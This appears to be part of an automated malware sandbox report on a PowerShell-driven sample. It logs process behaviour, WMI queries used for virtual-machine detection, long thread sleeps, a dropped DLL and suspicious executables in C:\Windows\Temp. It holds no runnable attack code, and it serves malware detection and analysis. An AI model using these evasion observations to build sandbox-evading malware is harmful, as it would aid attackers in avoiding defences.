Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE			Jump to behavior

Malware Analysis System Evasion

Queries memory information (via WMI often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_PhysicalMemory

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_DiskDrive
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_DiskDrive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_PhysicalMemory

Source: C:\Windows\Temp\svczHost.exe	Memory allocated: 1EB4B7C0000 memory reserve \| memory write watch
Source: C:\Windows\Temp\myRdpService.exe	Memory allocated: 232DF130000 memory reserve \| memory write watch

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 900000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9936	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9924	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9933	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9942
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9857
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9931
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9910
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9931
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9928

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\5v0ewpyz\5v0ewpyz.dll

Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5436	Thread sleep count: 9936 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8128	Thread sleep count: 9933 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1008	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1008	Thread sleep time: -900000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8596	Thread sleep count: 9857 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8504	Thread sleep count: 70 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4664	Thread sleep count: 9931 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6708	Thread sleep count: 9910 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8920	Thread sleep count: 9931 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5032	Thread sleep count: 9928 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6520	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\net1.exe	Last function: Thread delayed
Source: C:\Windows\Temp\myRdpService.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 900000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: powershell.exe, 0000000C.00000002.3583033672.0000027D0DD43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 00000007.00000002.3284112266.0000020924396000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: <!-- IFRpbWUtU3RhbXAgUENBIDIwMTAwDQYJKoZIhvcNAQEFBQACBQDk2nlVMCIYDzIw -->
Source: powershell.exe, 00000007.00000002.3292179580.000002092C833000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FMSFT_NetEventVmNetworkAdatper.cdxml
Source: powershell.exe, 0000000C.00000002.3583033672.0000027D0DD43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 0000000C.00000002.4212100544.0000027D1DAAE000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.4700638518.00007FF63409B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000014.00000002.4691628705.000001EB4FB46000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: qEMutating a value collection derived from a dictionary is not allowed.Y
Source: powershell.exe, 00000007.00000002.3292179580.000002092C833000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMSFT_NetEventVmNetworkAdatper.format.ps1xml
Source: powershell.exe, 0000000C.00000002.3583033672.0000027D0DD43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: powershell.exe, 0000000C.00000002.4335848558.0000027D25201000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.4688083630.000001EB4B863000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: powershell.exe, 00000003.00000002.3445317908.0000016218629000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllOO
Source: powershell.exe, 00000007.00000002.3292179580.000002092C811000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllmm

